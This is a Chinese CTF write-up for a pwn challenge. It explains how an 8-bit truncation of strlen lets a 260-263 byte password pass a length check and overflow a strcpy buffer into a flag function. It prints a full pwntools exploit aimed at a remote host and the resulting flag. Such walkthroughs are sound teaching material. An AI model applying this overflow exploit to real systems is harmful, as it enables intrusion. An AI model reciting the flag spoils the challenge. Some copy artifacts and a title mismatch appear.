题目说明
题目: cgpwn2
栈溢出 整数溢出 ROP
解题步骤
拿到文件后先查看文件类型是32位的elf文件
检查安全机制,开启了NX,栈不给执行
使用IDA32查看伪代码,主函数就是欢迎界面,输入1继续login()
查看login()函数的伪代码,输入用户名没什么,输入密码后将buf带入了check_passwd()
查看check_passwd()函数的伪代码,这里是对密码的长度限制大于4位小于8位
查看字符串列表发现还有一个获取flag的函数what_is_this(),函数位置0x0804868B
重点在于check_passwd()函数
在密码长度满足之后进行了strcpy()操作,将输入的s复制给dest,而dest的缓冲区长度为0x14,可以利用栈溢出。但是程序开启了NX,栈不可执行,所以只能使用ROP跳转到what_is_this()获取flag
查看语句v3 = strlen(s)
的汇编语句
将strlen()的返回值放在了al寄存器中,这是一个八位二级制的寄存器,也就是说如果s字符的长度大于255就会造成整除溢出
这个过程大概是这样的(灵魂比喻)1
2
3
4
5
6
7
8EAX之类的寄存器是八位的十六进制
al是EAX的最后两位十六进制 也就是八位的二进制
当s的长度为255时 二进制为11111111 十六进制为FF
此时al寄存器的值为FF al刚好被填满 所以strlen()返回为FF(长度为255)
当s的长度为256时 二进制为100000000 十六进制为100
此时al寄存器的值为00 al的值被上溢 所以strlen()返回为00(长度为0)
但是下方对于密码长度的判断要满足大于四位小于八位
所以需要s的长度为256+4~7 也就是260~263位就能满足长度判断要求
Payload构成: 0x14位填充dest缓冲区 + 0x4位填充EBP + what_is_this()内存地址 + 满足总长度260~263的填充
写出exp1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
p = remote('111.198.29.45','52328')
p.sendlineafter('choice','1')
p.sendlineafter('username','AAAA')
addr = p32(0x0804868B)
payload = 'A'*0x14 + 'A'*0x4 + addr
payload = payload.ljust(260,"A")
p.sendlineafter('passwd',payload)
p.interactive()
运行得到flag
flag:1
cyberpeace{9a78e473a4b66000e01cda20746037f2}
参考链接
整数溢出原理